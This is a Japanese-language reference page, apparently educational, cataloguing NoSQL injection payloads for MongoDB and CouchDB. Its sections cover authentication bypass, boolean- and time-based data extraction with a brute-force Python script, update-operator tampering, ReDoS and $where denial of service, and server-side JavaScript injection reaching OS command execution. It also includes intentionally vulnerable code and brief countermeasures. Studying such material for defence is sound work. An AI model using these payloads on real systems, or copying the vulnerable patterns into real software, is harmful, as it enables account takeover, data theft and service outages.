目的別 NoSQLインジェクション手法一覧
🔑 認証回避 (Authentication Bypass)
ログイン処理などで、ユーザー名やパスワードの検証ロジックを迂回し、不正に認証を突破することを目的とした手法です。 主に、クエリ演算子を悪用して常に真 (True) となる条件を作り出します。
代表的なペイロード
手法 | ペイロード例 (JSON形式) | 説明 | 主な対象DB | 注意点 |
---|---|---|---|---|
Not Equal ($ne ) |
{"username": "admin", "password": {"$ne": null}} {"username": "admin", "password": {"$ne": "random_string"}} |
パスワードがnull でない、または特定の文字列でない場合に真となる。正しいパスワードを知らなくても、存在するユーザーであれば認証できる可能性がある。 |
MongoDB | フィールドが存在し、比較可能な型である必要がある。 |
Greater Than ($gt ) |
{"username": {"$gt": ""}, "password": {"$gt": ""}} |
ユーザー名とパスワードが空文字列より大きい (つまり、何らかの値を持つ) 場合に真となる。ユーザー名/パスワードが存在すれば認証できる可能性がある。 | MongoDB | 文字列型のフィールドに対して有効。 |
Exists ($exists ) |
{"username": "admin", "password": {"$exists": true}} |
パスワードフィールドが存在する場合に真となる。 | MongoDB | パスワード検証ロジック自体を迂回するわけではないが、他の手法と組み合わせることがある。 |
Regex ($regex ) |
{"username": "admin", "password": {"$regex": ".*"}} |
パスワードが任意の文字列 (空を含む) にマッチする場合に真となる。 | MongoDB, CouchDB (Mango Query) | フィールドが文字列型である必要がある。 |
Where ($where ) |
{"$where": "this.username == 'admin'"} {"$where": "function() { return this.username == 'admin'; }"} |
JavaScriptコードを直接実行し、ユーザー名が ‘admin’ である場合に真を返す。パスワードチェックを完全に無視できる。 非常に危険な手法。 | MongoDB | サーバー側でJavaScript実行が許可されている必要がある。パフォーマンスへの影響が大きい。 |
JSON 型比較 (Node.jsなど) | {"username": "admin", "password[$ne]": null} (URLパラメータ例: ?username=admin&password[$ne]=null ) |
WebアプリケーションがクエリパラメータをJSONオブジェクトに変換する際に、予期せぬ演算子注入が発生する。password[$ne] が{"$ne": null} と解釈される。 |
MongoDB (Express/Mongoose等) | フレームワークやライブラリのパラメータ解析方法に依存する。 |
OR 条件 ($or ) |
{"$or": [{"username": "admin", "password": "wrong_password"}, {"username": "admin", "password": {"$ne": null}}]} |
複数の条件のいずれかが真であれば認証される。一つに常に真となる条件を含めることでバイパスを試みる。 | MongoDB | クエリ構造が$or を受け入れる形になっている必要がある。 |
コード例 (Python/PyMongo)
from pymongo import MongoClient
client = MongoClient('mongodb://localhost:27017/')
db = client.mydatabase
users = db.users
# 脆弱なログインチェックの例
def login(username, password_payload):
# password_payload に {"$ne": null} などが注入される可能性がある
user = users.find_one({"username": username, "password": password_payload})
if user:
print(f"ログイン成功: {user}")
return True
else:
print("ログイン失敗")
return False
# 攻撃例
# login("admin", "incorrect_password") # 通常は失敗
login("admin", {"$ne": None}) # 認証回避試行
💾 データ抽出 (Data Extraction)
データベース内に保存されている機密情報(他のユーザーの情報、設定情報など)を不正に取得することを目的とした手法です。 エラーメッセージ、応答時間、ブール値の応答などを利用して情報を少しずつ明らかにしていきます。
代表的なペイロードとテクニック
手法カテゴリ | ペイロード例 / テクニック | 説明 | 主な対象DB | 注意点 |
---|---|---|---|---|
ブールベース ($regex ) |
{"username": "admin", "password": {"$regex": "^a.*"}} {"username": "admin", "password": {"$regex": "^b.*"}} … |
パスワードが特定の文字で始まるかどうかを総当たりで確認する。応答の違い(例: ログイン成功/失敗、結果表示の有無)から文字を特定していく。 | MongoDB, CouchDB | 応答から真偽を判断できる必要がある。文字ごとにリクエストが必要。 |
ブールベース ($where ) |
{"$where": "this.username == 'admin' && this.password.startsWith('a')"} |
JavaScriptのstartsWith 等を利用してパスワードの文字を特定する。応答から真偽を判断する。 |
MongoDB | JavaScript実行が必要。$regex より柔軟な条件が書ける。 |
時間ベース ($regex ) |
(アプリケーション側の実装に依存) 例: 複雑な正規表現で意図的に負荷をかける。 ((((((((((a)+)+)+)+)+)+)+)+)+)+)+.* |
特定の条件にマッチした場合に、処理に時間がかかる正規表現を実行させる。応答時間の違いで情報を推測する。非常に検出されにくい。 | MongoDB, CouchDB | 正規表現エンジンの特性を利用。ReDoS攻撃にもつながる。 |
時間ベース ($where ) |
{"$where": "if (this.username == 'admin' && this.password.startsWith('a')) { sleep(5000); } return false;"} |
JavaScriptのsleep() 関数(またはそれに類する重い処理)を利用。条件が真の場合に意図的に遅延を発生させる。 |
MongoDB | JavaScript実行が必要。sleep() が利用可能である必要がある。検出されにくい。 |
エラーベース (JavaScript / $where ) |
{"$where": "throw 'Error: ' + this.password"} (単純化された例) |
JavaScript内で意図的にエラーを発生させ、エラーメッセージに機密情報を含ませる。 | MongoDB | JavaScript実行が必要。エラーメッセージがユーザーに表示される必要がある。 |
演算子利用 ($in , $nin ) |
{"apiKey": {"$in": ["knownKey1", "knownKey2", ...]}} |
既知の値リストと比較し、合致するデータを探す。総当たり的に使われることもある。 | MongoDB | データの内容にある程度の推測が必要。 |
データ抽出スクリプトの概念 (Python/ブールベース)
import requests
import string
# ターゲットURL (例)
url = "http://example.com/api/user"
# 既知のユーザー名
username = "admin"
# 抽出したいパスワード
password = ""
# 試行する文字セット
charset = string.ascii_lowercase + string.digits + "{}_-" # 例
while True:
found_char = False
for char in charset:
# 試行するパスワード
test_password = password + char
# ペイロード (例: $regex を使用)
payload = {
"username": username,
"password": {"$regex": f"^{test_password}.*"}
}
# 脆弱なAPIエンドポイントにリクエスト
# response = requests.post(url, json=payload) # または GET など
response = requests.get(url, params={'query': json.dumps(payload)}) # GETパラメータでJSONを送る例
# 応答を解析して真偽を判断 (アプリケーションの挙動に依存)
# 例: 応答に "Success" が含まれるか、ステータスコードが 200 かどうかなど
if "Success" in response.text: # 仮の成功条件
password = test_password
print(f"発見: {password}")
found_char = True
break # 次の文字へ
if not found_char:
print(f"最終的なパスワード (推定): {password}")
break # 全ての文字を試しても見つからなければ終了
注意: 上記スクリプトは概念を示すものであり、実際のターゲットに合わせてペイロード形式、リクエスト方法、成功条件の判定ロジックを修正する必要があります。
✏️ データ改ざん・追加 (Data Tampering/Addition)
データベース内の既存のデータを不正に変更したり、新たなデータを追加したりする手法です。権限昇格や、他の攻撃の足がかりを作るために利用されることがあります。
主に更新系のクエリ(update
など)に対するインジェクションが該当します。
代表的なペイロード (MongoDB Update演算子)
MongoDBのupdate
操作では、第一引数で更新対象ドキュメントを特定し、第二引数で更新内容を指定します。第二引数に更新演算子 ($set
, $unset
, $inc
など) を注入することで、意図しないフィールドの変更が可能になります。
演算子 | ペイロード例 (更新部分) | 説明 | 影響例 |
---|---|---|---|
Set ($set ) |
{"$set": {"isAdmin": True, "email": "attacker@example.com"}} |
指定したフィールドの値を設定または更新する。存在しないフィールドは新たに追加される。 | 管理者権限の奪取、メールアドレスの変更によるアカウント乗っ取り。 |
Unset ($unset ) |
{"$unset": {"securityQuestion": ""}} |
指定したフィールドをドキュメントから削除する。 | パスワードリセットに必要なセキュリティ質問の無効化。 |
Increment ($inc ) |
{"$inc": {"balance": -10000}} {"$inc": {"loginAttempts": -100}} |
指定したフィールドの値を指定した量だけ増減させる。数値型フィールドにのみ適用可能。 | 残高の不正操作、ログイン試行回数のリセット。 |
Push ($push ) |
{"$push": {"roles": "admin"}} |
配列フィールドに要素を追加する。重複を許す。 | ユーザーに不正な役割を追加する。 |
Add to Set ($addToSet ) |
{"$addToSet": {"permissions": "sudo"}} |
配列フィールドに要素を追加する。ただし、同じ要素が既に存在する場合は追加しない。 | ユーザーに不正な権限を追加する (重複なし)。 |
Rename ($rename ) |
{"$rename": {"old_password_hash": "temp_field"}} |
フィールド名を変更する。 | 重要なフィールド名を変更し、アクセス不能にする。 |
コード例 (Node.js/Mongoose – 脆弱な更新処理)
const mongoose = require('mongoose');
const User = mongoose.model('User', new mongoose.Schema({
username: String,
profile: mongoose.Schema.Types.Mixed // 任意のデータ構造を許可 (危険!)
}));
// ユーザープロファイル更新API (脆弱な例)
app.post('/updateProfile', async (req, res) => {
const userId = req.session.userId; // セッションからユーザーID取得 (仮)
const profileData = req.body.profile; // ユーザーからの入力をそのまま受け取る
try {
// profileData に {"$set": {"isAdmin": true}} などが注入される可能性がある
await User.updateOne({ _id: userId }, { $set: { profile: profileData } });
// 上記は誤り。正しくは更新したいフィールドを明示的に指定すべき。
// 以下のように $set 全体を注入できてしまう可能性がある実装が危険
// await User.updateOne({ _id: userId }, profileData ); // ★非常に危険なパターン★
// 脆弱な例 (直接 $set などを受け付ける)
// req.body が {"$set": {"isAdmin": true}} のような形だと改ざん可能
await User.updateOne({ _id: userId }, req.body);
res.send('Profile updated successfully');
} catch (err) {
res.status(500).send('Error updating profile');
}
});
// 攻撃リクエストの例 (body部分)
// POST /updateProfile
// Content-Type: application/json
// {"$set": {"isAdmin": true, "email": "hacked@example.com"}}
重要: ユーザーからの入力を検証・サニタイズせずに、直接データベースの更新クエリ(特にupdate
の第二引数)に使用することは極めて危険です。更新するフィールドは常に明示的に指定し、予期しない演算子が混入しないように注意深く処理する必要があります。
💣 サービス妨害 (Denial of Service – DoS)
データベースサーバーやアプリケーションサーバーのリソース(CPU、メモリ、ディスクI/O)を枯渇させ、正規のユーザーがサービスを利用できないようにする攻撃です。 計算量の多い演算子やクエリを意図的に実行させることで引き起こされます。
代表的なペイロード
手法 | ペイロード例 | 説明 | 主な対象DB |
---|---|---|---|
ReDoS ($regex ) |
{"field": {"$regex": "((a+)+)+b"}} (Evil Regex の例) |
バックトラックが指数関数的に増加するような正規表現を注入し、CPUリソースを消費させる。 | MongoDB, CouchDB |
JavaScript無限ループ ($where ) |
{"$where": "while(true){}"} |
JavaScriptコード内で無限ループを実行させ、サーバープロセスをハングさせる。 | MongoDB |
JavaScript重い処理 ($where ) |
{"$where": "function() { for(var i=0; i<1000000000; i++){ /* heavy computation */ } return true; }"} |
CPU負荷の高い計算を長時間実行させ、リソースを枯渇させる。 | MongoDB |
インデックスの効かない検索 | {"field": {"$not": {"$regex": ".*"}}} (非効率なクエリ例) |
インデックスを利用できない、または非常に効率の悪いクエリを実行させ、ディスクI/OやCPU負荷を高める。 | MongoDB, CouchDB 등 |
対策: ユーザー入力に対する正規表現はサーバーサイドで安全なものに限定する、$where
の使用を避けるか厳格に制限する、クエリのタイムアウトを設定する、リソース制限を設けるなどの対策が重要です。
💉 サーバーサイドJavaScriptインジェクション (SSJI)
$where
, mapReduce
, group
など、サーバーサイドでJavaScriptコードを実行できる機能を持つNoSQLデータベースにおいて、任意のJavaScriptコードを注入する攻撃です。
成功した場合、データ抽出、改ざん、DoSだけでなく、場合によってはOSコマンドの実行など、より深刻な被害につながる可能性があります。 極めて危険な脆弱性です。
代表的なインジェクションポイントとペイロード
インジェクションポイント | ペイロード例 (JavaScript) | 説明 | 主な対象DB |
---|---|---|---|
$where (クエリ) |
"db.adminCommand({listDatabases: 1})" "this.credit_card.match(/.*/); function() { db.users.find().forEach(printjson); return true; }()" |
クエリ条件としてJavaScriptを実行。他のコレクションやデータベースの情報にアクセスを試みる。 | MongoDB |
mapReduce (Map/Reduce関数) |
Map: function() { emit(this.username, {password: this.password}); } Reduce: function(key, values) { /* Do something malicious */ } Finalize: function(key, reducedValue) { /* Send data externally */ } |
MapReduce処理の各段階で任意のJavaScriptを実行。データ集計処理を悪用して情報を抽出・操作する。 | MongoDB |
group (キー関数, Reduce関数など) |
{$keyf: function(doc) { /* malicious code */ return {key: doc.key}; }, $reduce: function(curr, result) { /* malicious code */ }, finalize: function(result){ /* malicious code */ }} |
非推奨のgroup コマンドのJavaScript関数部分にコードを注入する。 |
MongoDB (古いバージョン) |
Stored JavaScript | db.system.js.save({_id: "myMaliciousFunction", value: function(){ /* malicious code */ }}) |
データベース内にJavaScript関数を保存し、後で呼び出す。 | MongoDB |
SSJIによるOSコマンド実行の試み (Node.js環境の例)
Node.js環境でMongoDBが動作しており、かつ特定のモジュールが利用可能な場合、以下のようなペイロードでOSコマンド実行が試みられることがあります。これは非常に稀なケースですが、理論的には可能です。
// $where などに注入されるペイロードの例
function() {
try {
// Node.js の require を利用しようと試みる (通常はサンドボックス化されている)
var require = this.constructor.constructor("return process.mainModule.require")();
var cp = require('child_process');
// OSコマンドを実行 (例: 'ls /')
var result = cp.execSync('ls /').toString();
// 結果を何らかの方法で外部に送信するか、エラーメッセージ等で表示させる
throw 'Cmd Result: ' + result;
} catch (e) {
// エラー処理
throw 'Cmd Exec Failed: ' + e.message;
}
return false; // または true
}
最重要対策:
- サーバーサイドでのJavaScript実行機能 (
$where
,mapReduce
など) の使用を原則禁止する。 - やむを得ず使用する場合は、ユーザー入力を絶対にコードとして解釈させない。厳格な入力検証とサニタイズを徹底する。
- データベースの実行権限を最小限に絞る。
- 可能であれば、JavaScript実行を無効化する設定 (例: MongoDBの
security.javascriptEnabled: false
) を行う。
コメント